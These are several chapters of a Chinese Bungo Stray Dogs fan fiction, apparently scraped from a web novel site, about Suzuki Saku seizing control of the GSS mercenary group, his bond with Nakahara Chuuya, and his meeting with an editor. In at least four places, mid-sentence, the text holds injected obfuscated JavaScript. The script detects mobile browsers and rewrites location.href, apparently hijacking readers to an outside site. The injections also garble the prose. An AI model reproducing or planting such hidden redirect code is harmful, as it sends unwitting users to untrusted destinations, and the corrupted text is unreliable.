而另一边,虽然铃木表示了没事,但中原中也还是有些放心不下,所以他等到可以代替他分配的同伴来之后,就匆匆的往这边走来了。 “中也!” 穿着有些不合身的外套,银发绿眸的少年朝着中原中也笑嘻嘻的跑过来,说道:“陪我去买点东西吧,中也。” 中原中也:“买什么?还有,你和白濑聊什么了?他说的话你别想太多。” 如今已经是横滨的深秋,天气渐凉,所有人都给自己添加了厚一些的衣服,但中原中也凭借着强悍的体质,还是穿着之前那一套衣服。 “白濑说我是骗子,我不会理他的啦。我想要买一些纸笔还有书,你会陪我去的吧?” 明明是比他高的家伙,但是却为了能用仰视视角可怜巴巴的祈求他,还特地半弯着腰…… 中原中也无奈又好笑,他让铃木朔站直,然后说:“他为什么说你是骗子?我会陪你去的,不用这样,不过你买纸笔还有书做什么?” 说完了问题之后,中原中也突然觉得自己有些愚蠢。 买纸笔和书,除了书写和阅读,还能做什么? 铃木朔像是没看见中原中也脸上一闪而逝的懊恼,他说:“因为白濑看见我去租界了,他觉得我不是无家可归的人,欺骗了大家。” “我去租界是因为店长的要求,他让我去送东西,然后会给我一笔跑腿费。” 铃木朔所工作的商店距离镭钵街很近,一般这种靠近贫民窟的商店都不会有太好的设施,主要是担心偷窃和一些损毁成本太高,但是铃木朔所在的那个商店主人似乎完全不在乎,坏了就换,被偷了就补。 中原中也觉得哪里有些不对,但因为线索太少他也不太清楚,只好委婉的劝铃木朔。 “下次还是少去租界吧,那边还是挺乱的。” 在混乱的镭钵街生存的中原中也说文明之地的租界挺乱的似乎是个搞笑故事,但事实就是对于他们这种不法之徒来说,租界就是比镭钵街危险。 铃木朔点了点头,说了声“好”。 距离镭钵街最近的书店也需要步行半个小时,中原中也今天没什么别的事情,所以就慢悠悠的陪着铃木朔去书店,陪着他挑选书籍。 书店的氛围很安静,温暖的阳光从穿过透明的玻璃倾泻而下,这里的场景和中原中也日常所见的一切都不同,这种不同不是指桌子和桌子之间的差异,而是一种“环境”的不同。 在镭钵街,你无论做出什么,都是被“环境”允许的,但是在这里,你无论做什么,都要先获得“环境”的允许。 中原中也不会觉得这种“环境”是束缚,相反,他有些享受这种不需要思考下一步要做什么,不需要想该如何生存下去,放空自己的感觉。 “中也,你觉得这本绘本怎么样?” 铃木朔的声音让中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096542|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原中也回神,他看了一眼银发少年手中花花绿绿,充满童稚的绘本,问:“你要看这种书吗?” 不是绘本怎样,而是在中原中也的认知中,这种绘本是给年龄不超过十岁的小孩子看的,而铃木朔已经十六岁了。 铃木朔:“不是,是给阳太他们看的。” 山村阳太,是“羊”里面比较小的孩子,只有八岁。 中原中也认真看了一眼那本绘本,感觉那大概是讲述友情的故事,点了点头,无所谓地说:“可以啊。” 反正像是阳太那种小孩子在战斗和搜集情报上基本排不上用场,买个绘本送给他们就当给他们打发时间的了。 铃木朔点了点头,他把这本拿下之后又选了两本绘本。 “怎么会这么多?” 收银台前,看着摞在一起至少有几十本的书,赭发少年有些目瞪口呆。 加上绘本,他以为铃木朔最多买五六本,怎么会有这么多? 这家伙是打算开书店吗? 铃木朔:“中也,把钱给我,我这里的零钱不够。” 虽然打工仅一周,但铃木朔的存款已经不少了,只不过他没有钱包,所以一直身上只带一点零钱,剩余的钱都交给中原中也保管。 中原中也的嘴唇动了动,他很想说些什么,但是铃木朔花的纯粹是他自己的钱,所以中原中也根本不好说什么。 中原中也递出了钱包,而铃木朔付了钱。 “承蒙惠顾。” 看着这奇怪一幕的书店收银员礼貌地微笑。 “你买这么多书做什么?” 因为书本太多,不得不动用了一些异能让自己更轻松的中原中也在回程的路上问。 就算是想要阅读,也不必一次性买这么多的书吧?书店又不是很远,想看的时候再来买就是了。 因为中也的坚持,铃木朔只拿了全部书籍的十分之三,剩下的十分之七都被中也拿着。 “他看起来……” 银发少年抱着书,迎着深秋的阳光,暖黄的光芒打在他干净洁白的皮肤上呈现了一种玉的质感,他是真的很美,即便遮住了大半的面庞,但是仅凭着裸露出来的眉、眼、鼻部分,就足以满足所有见到他的人关于“美”的定义。 听着周围路人的小声议论和目光,中原中也在内心叹了口气。 铃木这家伙,不会是完全沉浸在别人的目光和赞美中,忽略自己在和他讲话了吧? “喂——” “中也,你想上学吗?” 戴着口罩的少年兴致勃勃地转过头看向中原中也,他翡绿色的眼眸里面清澈见底,像是盛夏无云的天空,像是冬天见不到杂色的雪。 中原中也愣住了,他说:“你问这个做什么?我们没有身份,没钱,没办法上学的。” 铃木朔:“这些都不是问题,只要你想的话,我会替你实现的,中也。” —— 【“你发出声音是在向我所求些什么吗?” 牧羊人问羔羊。】 【“我能做到的不多,但是我会尽力的。” 牧羊人又说。】 -《上帝羔羊之死·第一篇》 5. 《羔羊之死》·五 根据马斯洛需求层次理论,人的需求一共可以被分为五层。 而镭钵街的绝大部分人,连第一层——生存需求都无法满足。 中原中也并不知道什么为马斯洛需求层次理论,但是他觉得铃木朔的想法是及其疯狂且不切实际的。 “中也不想要上学吗?” 见中原中也没有回答自己的问题,铃木朔眨了眨眼,疑惑发问。 如果不是现在手上拿着一堆的书腾不出手的话,中原中也估计会手动选择让这个疯狂的家伙闭嘴。 他沉重地叹了一口气,说:“你知道你在说什么吗?” 虽然才十四岁,但中原中也已经非常清楚自己的责任了。 “过完这个月,温度很快就会冷下来,冬天会下雪,用铁皮和木板做的房子根本不能阻挡风雪,会有很多人冻死。” “因为天气太冷,出去寻找食物会变得很困难,但是为了抵御寒冷,我们需要更多的食物,食物会出现短缺。” “冬天的小偷会尤其的多,偷食物的,偷衣服的,为了不被发现,有时候小偷会选择直接杀死睡觉中的人。” 看着絮絮叨叨的中原中也,铃木朔安静地没有打断,他知道中原中也在说什么,知道在镭钵街的冬天会很难熬,知道“羊”的众人没有他的庇护会死,但是他不是中原中也。 他不是中原中也,没有亲眼见过第二天敲开门,结果发现伙伴冻死在屋里。 他不是中原中也,没有经历过那种又冷又饿,饥饿带来的胃被灼烧的感觉被寒冷麻痹的时刻。 他不是中原中也,即便穿过同一双鞋子*,也会因为鞋子不合脚而肿胀到无法行走。 … 一天后,武装侦探社。 “所以,你想让我告诉你答案?” 武装侦探社内,坐在会客室的眯眯眼侦探如此对对面的人说道。 坐在名侦探面前的铃木朔没有点头,而是先纠正了他刚刚话语里面的措辞。 “不是答案,是[方式],乱步先生。” 关于答案,铃木朔的内心早就已经有了,但是关于[方式],如果不是先不管到更为妥当的,他怎么会花钱来找江户川乱步呢? 要知道名侦探的咨询费和委托费可是非常昂贵的啊。 江户川乱步没有戴眼镜,早在铃木朔敲门进侦探社的时候他就已经戴过眼镜了,现在还没有第二次戴上眼镜的必要。 “你为什么觉得只有一个答案呢?你这家伙也过于傲慢了吧?”——江户川乱步刚刚说的话。 江户川乱步实际上想说的——你凭什么觉得你一定能改变中原中也的想法? 铃木朔笑了一下,他这次来见名侦探的时候没有戴口罩,是带着一些坦白的意思的。 “因为我看见了,在赫拉克利特所说的长河*中。” 看着从乱步身后的社长办公室里面走出的福泽谕吉,铃木朔正式介绍了自己。 “诸位好,我是铃木朔,一名误入此世的游吟诗人,异能力是【哲学家】。” * 与此同时,“羊”的据点。 “中也!不好了,出事了!” 看着匆匆闯入自己房间的成员,中原中也把自己手上翻开的书合上,揉了揉有些酸的眼睛,问:“怎么了?” 中原中也是识字的,他认识的字作为日常用语和辨认是完全没问题的,但是在看铃木朔带回来的这些书的时候还是会有些吃力。 明明年龄都差不多,那家伙怎么就能耐下心去看这些复杂的文字呢? 看了没半个小时书就想要开小差的中原中也嘀咕。 “是GSS!” 那个匆匆跑来的成员大喘着气,说道:“是GSS的人来了!” GSS,前几天不是才干过一架吗?这么快又来找麻烦了? “羊”的规矩是“凡伤害‘羊’成员必遭百倍奉还”,上次白濑的事情中原中也已经报复回去了,按照以往的经验,GSS现在应该自顾不暇,不会那么快的来找死啊? “是白濑他们又去偷东西了?” 中原中也猜测地问。 “呼哧、呼哧……不是,GSS是、是被带过来的!” 等那个呼哧带喘的成员抬起头,中原中也才发现,对方的眼中不是如他所想的惊慌失措,而是一种狂热的欣喜。 “是铃木!铃木‘战胜’了GSS!” 在从房间里面出来的时候,中原中也还在想他是不是真的有点忽视了“羊”的众人的教育,不然他们怎么会到处乱用词汇,乱说话。 什么叫铃木朔“战胜”了GSS? 且不说铃木朔有没有那个能力,战胜这个词本来就不是那么用的好吧,又不是战胜了某个人,GSS可是一个雇佣兵组织啊。 “中也,我回来啦!” 听见熟悉的声音,中原中也抬起头看去,发现说话的人还真是铃木朔。 这本应该在上班的家伙穿着一件不是很合身的黑色西装外套,里面原本的衣服不能说破破烂烂也破了好几个洞,如果没有外套的遮挡,冷风肯定要呼呼的往里面灌。 “你怎么在这里?你的衣服是怎么回事?” 一边走过去问,一边说着在在场众人看来无关紧要的事情之后,中原中也才低声说道。 “你身后这些人,是怎么回事,铃木?” 在似乎经过一场战斗的铃木朔身后,是中原中也无比熟悉的GSS的成员。 年少的“羊之王”拥有璀璨也锐利的眼眸,他站在铃木朔的面前,旋动眼珠的时候,就已经将银发少年身后所有GSS的成员都纳入了视线中。 不少曾经见过,或者亲身经历过“羊之王”毒打的GSS成员下意识地退后了一点。 “他们现在是我的下属哦,中也别吓他们啦。” 似乎是因为一件薄薄的黑色西装不能起到在深秋保暖的作用,铃木朔的脸色比平时要苍白一些,他笑着和中原中也说话。 中原中也皱眉:“什么叫你的下属?你加入GSS了?” 铃木朔:“不,是GSS‘属于’我了,中也。” ——これは私の所有物です 银发少年吸了吸鼻子,然后笑着问:“你不相信吗,中也?” 无论怎么看,铃木朔身后的GSS成员都是一副臣服的态度,但是、但是、 “你是怎么做到的?” 中原中也非常疑惑。 他暂且相信铃木朔所说的,但是他想要知道铃木朔是怎么做到的。 GSS再怎么说也是盘踞在横滨的较大势力了,铃木朔到底是怎么悄无声息的做到突然之间成为这个组织的掌权者的? “怎么做到的吗……” 铃木朔眨了眨眼,在身后GSS成员的恐惧中将故事复述了出来。 [一开始,我只是答应了店长的请求,帮她在上午九点送了一份文件。] “你又去了租界?” 中原中也问。 铃木朔点点头,“嗯。” [“请帮帮我吧,铃木君。” 店长这样说,所以我没办法的同意了。] [不过当我带着文件来到租界的时候,我发现了不对,所谓的友人房屋早已人去楼空,有人在阴影里面埋伏我。] “我就知道租界不是什么好地方。” 中原中也说。 铃木朔赞同他的观点。 [等我被打晕醒来之后才知道,原来店长是GSS的人口贩子,她们专门搜集各种漂亮的少年少女,然后卖到世界各地。] [“而你,朔君,你是我见过最漂亮的孩子。” 店长这么说,我也是这个时候才知道,原来店长是精神系的异能力者,能通过语言蛊惑他人。] [我被她用语言欺骗了。] 嘎吱嘎吱—— 这是中原中也拳头握紧后骨骼摩擦的声音,毕竟谁都知道“羊之王”可是最重视同伴的人,如果不是后续事情明显朝着反方向发展,他现在估计就已经冲去GSS把那个店长干掉了。 不过铃木朔却笑着继续讲故事讲完了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096543|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [但店长欺骗了我,却不知道我也欺骗了她。] [我不知道她的异能力是假,不知道她在蛊惑是假,就连欺骗本身,也是假。] 中原中也原本愤怒的表情变为了惊讶。 [我一开始的目的就是GSS,只是相比于自己找上门,被人欺骗然后报复这个理由或许更符合常理。] “符合个鬼,笨蛋。” 中原中也并不觉得铃木朔的想法是对的,甚至觉得他故意受伤的想法很蠢。 “下次有这种事情完全可以叫我帮你。” 他又说。 [“谢谢你带我来到这里啊,店长。” 我这样和店长说着,捆绑的绳索从我的身上掉落,很快,我就解决掉了其他人,包括一脸惊恐面对我的店长。] 中原中也有些怀疑地看向铃木朔,问:“你杀人了?而且你武力值不低的事情怎么没和我说过?” 中原中也还担心这家伙上下班会遭到小混混骚扰,天天不厌其烦的接送,结果这家伙能一个人干穿整个GSS? “那不是你没问嘛。而且我没杀人哦,你不信问他们。” 铃木朔笑眯眯地指着身后那群GSS的成员,大家都僵硬地笑着,拼命的点头,说:“是、是的!BOSS他非常仁慈!” [我只是把他们都变成了傻子而已。] 铃木朔突然表情非常严肃的和中原中也说道:“中也,我好像还没告诉过你我的异能力是什么。” 中原中也:“不就是和写字有关的吗?” 中原中也见过铃木朔的异能力,之前他叫铃木朔吃饭的时候,看见这家伙面前空白的纸张上凭空出现了一行行的文字,铃木朔说让纸张出现文字就是他的异能力。 “不是啦,那只是异能力的一个用法而已,实际上我的异能力叫【哲学家】哦,是不是听起来很帅气?” 今年也才十四岁的中原中也不服地说:“哈?那我的重力岂不是更帅?” 铃木朔敷衍地说:“好嘛,一样帅啦。” [不得不说,异能力是真的很好用,不需要我自己动手打人就能打败敌人。虽然异能力有生效范围,必须要在我目之所及的地方才能生效,但庆幸的是,我的视力很好。] 铃木朔一双翡绿色的眼眸带着笑意,看着亲切又温柔,但站在他身后的GSS知道,就在几个小时之前,这双眼睛“解剖”了他们所有成员。 如何形容呢,就是一把无形的刀从眉心插入,从皮肤、脂肪、血肉、神经、骨骼,一层一层地拨开,然后将这些温热的东西翻来覆去,直到最后放到市场的电子秤上称量它们的重量。 [其实我最后还是杀了人的。] [因为我的目的是把GSS变成我的东西,一个组织又不可能有两个首领,所以我把GSS原本的首领丢到了大海里。] “那家伙挺该死的哦,什么人口贩卖啊、毒*啊……他全都做了。” 铃木朔像是给自己杀人找一个理由,但又似乎不在意这个理由,表情淡淡。 “那你又为什么要把人带回来?你已经是GSS的首领了吧?‘羊’对你来说是什么呢?” 说到最后,中原中也终于还是问出了这个问题。 和其他成员看见铃木朔成为了GSS的首领就把他视为更强大,更有资源的同伴不同,中原中也并不觉得有更好归处的铃木朔会选择贫穷、弱小的“羊”。 或许一开始和自己回来,待在“羊”只是他选择的跳板而已,他一开始的目的就是更强大的组织和资源…… “你忘记了吗,中也?” “是你说的冬天很难熬,所以我才想着有GSS的资源,‘羊’能更好的度过这个冬天。” 【我只知道一件事,那就是我一无所知*】 这句话是铃木朔在GSS使用异能时,将所有人变成傻子时引用的话,现在似乎也能用在这里。 “我的故事还没写完呢,中也。” 银发少年抱怨道:“所以好歹等到春暖花开再考虑繁琐的事情吧。” 6. 《羔羊之死》·六 虽然铃木朔口口声声说是为了故事,但事实上,成为了GSS首领的他根本忙的没时间写他的故事。 一开始是有很多身为GSS首领的工作需要忙碌。 后来是GSS内部有不满于他的人闹事需要处理。 最后,等铃木朔反应过来他已经很久没有动笔的时候,时间已经临近过年了。 “好冷啊,中也。” 银发绿眸的少年穿着一身白站在雪地中,如果不是翡绿色的眸子过于耀眼,脸色白的和雪一样的他就要被误认为现代版的雪男了。 中原中也看着呼出一口口白烟的铃木朔,有些无语。 “谁让你为了耍帅就穿了那么点?” 有时候中原中也觉得面前的家伙就是三岁小孩,为了耍帅连温度都可以不要,下雪的冬天只穿了一件单薄的羊绒高领和一件开衫。 他难道不知道今天的温度是零下十度吗? 铃木朔就算冻的脸色苍白,也要努力的为自己的行为辩解。 他说:“但是这次可是要和编辑先生见面诶,我想要在对方的心里留下‘这是一个帅气又年轻的天才作家’的想法。” ——实际上是忙工作忙的忘记天气有多冷,出门忘记拿外套了。 铃木朔反正是坚决不承认自己是忘记了拿外套的,因为他不想要被中原中也嘲笑。 中原中也:“是吗?” 铃木朔坚定的点头,“是的!我可是非常在乎形象的人!” 中原中也双手抱胸,在有GSS的资源支持下,小羊们的生活水平上升了很多,至少他的红色兜帽卫衣已经能扔掉,换成更保暖也更有设计感服饰。 “但是我记得你一开始不是不想要投稿的吗?现在怎么又这么重视了?” 其实一开始,铃木朔并没有把自己写的《羔羊之死》投稿的想法,毕竟他并不缺钱,不需要用稿费养活自己,而且每天工作就已经累的要死,投稿要是成功了,说不定还要面临催稿的悲催场景。 他根本没时间嘛。 “哈秋!” 作为森林之子,精灵们的保暖抗寒能力是真的很差,面对扑来的寒风,铃木朔打了个喷嚏,然后一边擦拭鼻子,一边说:“因为我发现我漏掉了一些致命的地方——我要让更多人看到我的作品。” 比如作为游吟诗人,铃木朔不仅仅要记录下[故事],还要把[故事]传递出去才算是符合职业任务的要求。 又比如,如果铃木朔想要改变一些东西,就首先要用文字和声音敲开窗户,让身处墙内的人知晓,让墙外的人恐惧才行。 “行吧。” 中原中也不懂这家伙在说些什么,但只要不是伤天害理的事情,他并不反对铃木朔去做。 “只不过你不能这么走着去了,如果你不想要发着烧去见你的编辑的话。” 赭发少年如此说着,然后迅速拉住铃木朔冰凉的手,拐入了附近的一家服装店。 * 吉川哲也是一名编辑,他所任职的出版社就位于横滨,是一家比较老牌,但是逐渐没落的出版社。 作为一名在这行干了几年的编辑,吉川哲也不说阅文无数,但也在文学这方面有了自己的一些理解。 “吉川君,你有些太挑剔啦。” 出版社曾经教导过他的前辈曾经这么说,他是在隐晦的提醒吉川,提醒这位年轻气盛的后辈不要过于傲慢,他这番话是好心,所以吉川接受了。 不过“接受他人的善意”并不代表着“接受他人的意见”,在那天的谈话之后,吉川哲也并没有改掉自己的习惯。 他始终认为文学是有门槛的,所以无论是读者阅读文学作品,还是作者写作都是一件非常神圣而高规格的事情。 直到—— 他看到了那篇文。 “叮咚——” 咖啡厅的自动感应门打开,从外面走进来了两个少年。 年长的银发少年戴着帽子和毛绒绒的围巾,内搭虽然是单薄的,但穿着看着就很保暖的黑色大衣,并且大衣还老老实实的扣上了扣子,看着有些别扭。 而位于银发少年边上,看着也要更年幼的赭发少年就没穿那么厚实了,黑色卫衣外套着咖色夹克的他双手插兜,一双钴蓝色的眼眸扫视了一遍整个咖啡厅的环境。 他问:“就是这里了?人呢?” 在两个少年进门后,吉川哲也的目光不自觉地看向两个少年,不为别的,只是因为人类的视线总是会不自觉地追随美的事物。 银发少年苦着一张脸扯着自己脖子上的围巾,说:“就是这里了。而且中也,这好闷啊。” “那你自己摘下来就是了,里面很暖和。” 中原中也说着,目光又重新扫视了一遍这个咖啡厅,最终停留在了一个穿着黑色西装,面容看着有些严肃,但实际上只有二十五六岁的棕发男人身上。 棕发男人,穿着西装,桌子上还有电脑,应该就是他了吧。 中原中也拉着摘下了围巾的铃木朔朝着吉川哲也的方向走去,他坚定的步伐和显眼的目标性让吉川哲也意识到了什么。 他张了张嘴,“您是……” “你就是吉川编辑?” 中原中也问。 吉川哲也点了点头,说:“是的,我是青空文库的吉川哲也,请问您是认识铃木老师吗?” 虽然没有调查过,但在吉川哲也的心中,铃木老师应该是一个眼神锐利,拥有洞穿真相和社会的成年人,或者是一个经历过社会的残酷最终醒悟的平庸又不平庸之人,所以面前这两个有目的性的朝着他走来,并且认识他的少年肯定就是铃木老师认识的人了吧。 不过铃木老师明明接受了他在咖啡厅见面详谈的邀请,怎么就让两个认识的后辈来了呢,难道是铃木老师出了什么事情无法赴约吗? 想到这里,吉川哲也有些忧虑起来,他忍不住激动了一点,站起来,问。 “请问,铃木老师怎么没来?他难道是遇到什么事情了吗?有什么我可以帮忙的吗?” “……?什么?” 中原中也只是在吉川哲也一开始问“是否认识铃木老师”的时候给自己和铃木朔找了个椅子坐下,没想到对方就直接跳到了下一个问题。 他先是怔了一下,下意识地反问了一句后才说道:“没啊,他来了。” 吉川哲也:“来、来了?” “哎呀,终于解开了!” 一道欢快的声音响起,说话的人正是终于在冬天静电折磨下,把缠的结结实实的棉质围巾从脖子上解放下来的铃木朔。 中原中也指自己身边的人说:“他就是铃木,也就是你说的铃木老师。” 铃木朔终于能安安静静坐下,他看着对面惊讶的吉川哲也编辑,脸上露出了招牌的亲和笑容。 “你好,我是铃木朔,也是《上帝羔羊之死》的作者。” * 【身为一个能听懂羊语言的牧羊人,我应该惶恐,惶恐于自己的与众不同,惶恐于自己的“罪恶”。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096544|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【“我能为你们做什么呢?”——但我却这么说。】 【我应该是能做什么的吧?它们向我发声不就是为了这个吗?我必须要做点什么。请告诉我,我到底能做什么吧!】 【诸如此类的思考让我的大脑在发烫,就像是年幼时曾经得过的那场病一样,我的心和大脑都陷入了一场无法遏制的高热。】 【我不明白这是为什么,但是这一切似乎都可以归为一点——我听懂了羊的语言。】 【“我只是一个普通的牧羊人,普通到牧草的丰硕都比我重要。”】 【“但我能听懂羊的语言。”】 【“没人在意我的呻吟,我的出生始于一场交易,我的生命最终也将归于万人践踏的泥土。”】 【“但我能听懂羊的语言。”】 【“我……”】 【当这完全不对等的天平成立后,牧羊人的内心似乎平静了一些,他用宽和、低垂、探寻的目光看向羔羊。】 【“所以,我能为你做什么?”】 【“上帝。” 羔羊、不,羊群的每一只羊都说。】 【它们的声音是如此轻柔,是如此微弱,却又像来自深谷的呐喊,有着令人灵魂震颤的作用。】 【“请您成为我们的上帝吧。”】 ——《上帝羔羊之死·第二篇节选》 * “铃木、铃木老师?” 咖啡厅内,看着面前最多十六七岁的银发少年,吉川哲也惊讶地说道。 从这位表情严肃的面部崩坏情况来看,他确实是对铃木朔真身只是一个十六七岁少年这件事很非常震惊了。 有点好笑啊。 中原中也想着。 铃木朔点了点脑袋,“是我,有问题吗?” 吉川哲也连忙否认,说:“不、不是的,我只是没想到铃木老师您会这么年轻。” 吉川哲也并不是横滨本地人,因此,在他来到横滨之后,他才彻底对这座城市有所了解。 因为横滨这座城市的历史特殊性,这里身份空白的孩子很多,他们就像是幽灵一样飘荡在这座城市里面,不被接纳,不被认同。 但和幽灵不同的是,幽灵无法伤害人,但这些身份空白的孩子却能。 吉川哲也就见过不少空白的孩子被作为人体炸弹,成为□□的打手,又或者是将烧、杀、抢、掠全部做一遍,成为了无恶不作的罪犯。 在中原中也和铃木朔进门的那一刻,吉川哲也就有种直觉——他们也是空白的孩子。 “所以《羔羊之死》的灵感是来自于铃木老师的亲身经历吗?” 吉川将自己的思考说了出来,寻求铃木朔的解答。 中原中也因为铃木朔的要求,去前台给他点咖啡去了,现在能听见吉川说话的人只有铃木朔一人,他先是点了点头,然后又摇了摇头。 “不是亲身经历,我只是一个传递故事的人而已。” 顶多是把故事艺术化了一下,但也不能说这就是亲身经历吧。 牢牢把握住[游吟诗人]身份的铃木朔心想。 “而且,你只看到了牧羊人吗?关于羔羊呢?你是什么看法?” 铃木朔问。 “关于羔羊……” [讨论:《羔羊之死》的羔羊就真的无罪吗? 发帖人:黑色的船 一楼#楼主#:不知各位是否听说过一句话——为了达到目的,连魔鬼都会不择手段地引用圣经里的话*。] 7. 《羔羊之死》·七 “谈好了吗?” 等中原中也点完咖啡回来的时候,铃木朔似乎已经和吉川哲也谈完了。 赭发少年看着面目呆滞的编辑先生,决定询问铃木朔。 “嗯,谈完了,中也想知道我们聊了什么吗?” 铃木朔双手捧住下巴,笑眯眯地看向中原中也。 他的眼神里面带着些许的鼓励,又是某种柔软的阻力,让中原中也捉摸不透。 “好,那你们聊了什么?” 中原中也不在这种模棱两可的态度中犹豫,他果断的在椅子上坐下,直视铃木朔,然后问道。 十四岁的少年脸上尚且带着褪不去的柔软,但与之相反的,是他坚定果断的性格。 不需要犹豫,不需要思考,遵循本能,命运本就藏在自己的身上。 “不愧是中也啊。” 铃木朔感慨一句,他想到了自己和中也初见时,那个宛若上帝执掌别人命运的少年,也想到对方和他说的那句“能活着为什么要死”。 “我和吉川先生讨论了一下文章的主角,问了他对主角的看法,然后就没了。” 听着如此简单的答案,中原中也觉得铃木朔是在小瞧他,这位年轻的“羊之王”哼了一声,说:“那你怎么不问问我的看法?” 铃木朔歪了下脑袋,疑惑:“中也你看过我写的故事?” 中原中也:“别小看我好吧,我也是认真读过的!” 毕竟是小伙伴写的故事,中原中也就算再不耐烦看书,也是会去阅读的好嘛! 看着耳朵有些发红的中也,铃木朔一瞬间摆正了态度,他的头也不歪了,嘴角也不翘了,双腿并排摆放,郑重的像是面对老师家访的学生家长,说道:“好,那我就认真的听一听中也你的感想吧。” 中原中也吐槽:“倒也没有必要这么正式……” 他又不是什么专业的评论家。 不过吐槽归吐槽,能被作者如此认真地聆听自己的读后感,中原中也还是感受到了一种被尊重的感觉。 他说:“我觉得牧羊人是一个悲哀的人。” “他的出生注定决定了他一生都只能成为一个牧羊人,‘成为一个优秀的牧羊人’和‘做一个普通的牧羊人’之间,他选择成为一个优秀的牧羊人。” 听着中也得读后感,铃木朔渐渐的改变了坐姿,他习惯性地一只手撑在桌面上,安静地听中原中也的讲述。 “但这没有用。” 中原中也说。 “因为无论是优秀的牧羊人还是普通的会偷懒的,酗酒的牧羊人,对于农场主来说都没有差别,所以他是悲哀的。” “因为改变不了自己的现状,这家伙疯掉了,所以他能听见本不存在的‘羊的语言’,希望从牧羊人的身份解脱出来,但殊不知,只是从一个地狱掉到了另一个地狱而已。” 铃木朔点了点头,问:“为什么这么说呢?” 中原中也点的咖啡上来了,铃木朔要了拿铁,他则是焦糖拿铁,喝起来是苦中带甜的滋味。 “因为他疯掉了啊。虽然我不清楚,但是在书里的那个时代,疯子应该是不能受到什么好的待遇的吧。” 铃木朔又点了点头,说:“是的,他这种会被认为是恶魔,是[异教徒]。” “你读的不错嘛,中也。” 听着铃木朔的夸赞,中原中也一边骄傲的抬了抬下巴,一边耳边的烧红又浓郁了几分,就连焦糖拿铁都感觉更甜了一点。 * 年关将近,伴随着横滨越来越冷的天气,各种□□组织开始冲最后一波业绩。 “有什么我们能做的吗?” 看着忙忙碌碌的铃木朔和GSS,中原中也问。 和基本“靠‘羊之王’的反击”来树立形象的“羊”不一样,GSS是一个正儿八经,有属于自己产业的组织,他们的主要成员是雇佣兵,干的也是雇佣兵的工作。 虽然“羊”的成员们都是一群半大少年,做不了什么雇佣兵的工作,但搜集资料还是做的到,中原中也这个拥有异能的“羊之王”更是能做到普通雇佣兵乘以十倍都完成不了的任务。 中原中也:“大家都靠着你提供的资金住上了更好的房子,穿上了更暖和的衣服,所以我们想要做些什么来偿还这些东西,这是十三人会议中讨论出来的结果。” 铃木朔是知道“羊”有一个十三人会议的,也知道这个会议一般讨论的事情是对于这些小羊们很重要的事情,他停下手中批改文件的笔,稍微揉了一揉自己的肩膀,说。 “好啊,我这里刚好有一件事情要你们做。” “什么事?” 因为没有被拒绝,中原中也有些开心,就连他的语气里都带着雀跃。 铃木朔:“我们有几个雇佣兵在执行任务的时候失踪了,中也能让‘羊’的同伴调查一下线索吗?” 从文件里面抽出那天失踪的几个雇佣兵的资料,铃木朔将他递给了中原中也。 “好,交给我们吧!” 虽然不是什么打打杀杀的任务,但是中原中也还是充满干劲的带着文件离开了,至于铃木朔,他在处理完这批文件之后就接到了一个电话。 一个来自编辑吉川哲也的电话。 …… 水本友香是一个纯正的横滨人。 她的生父不详,生母是一个外国难民,因为母亲体弱多病,她在水本友香八岁的那年就过世了。 虽然母亲在生前并未怎么庇佑过水本友香,甚至有时候还需要她这个孩子反过来去照顾体弱多病的母亲,但母亲在的那段时间,水本友香才算是个人。 其余的时间,她只能是一片幽灵,一堆活动的垃圾又或者一只肮脏的老鼠,总之就不是人。 她常常思考一个问题,哪怕是成年之后,哪怕已经有了能果腹、存活的工作之后,成为人的她依旧在思考这个问题。 ——[人为什么要活着?] 把“人”替换成“我”后,她进而引申了这个问题。 ——[我为什么要活着?] 明明都是要死的,所有人死后都是成为一堆腐肉,为什么不能早点结束痛苦的“生”,达成平等的“死”呢? 水本友香想不明白,听了她的疑问的朋友认为她是在寻找死亡的理由,认为她已经丧失了生的斗志,但水本友香却不这么认为。 “友香,你看青空文库的新月刊了吗?” 有上班的同事在某一天向水本友香推荐了一本还在连载的短文,出于某种无聊的消遣,水本友香看了这本文。 【“但我能听懂羊的语言。”】 当水本友香看到这个故事,并看见这句话的时候,她有了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 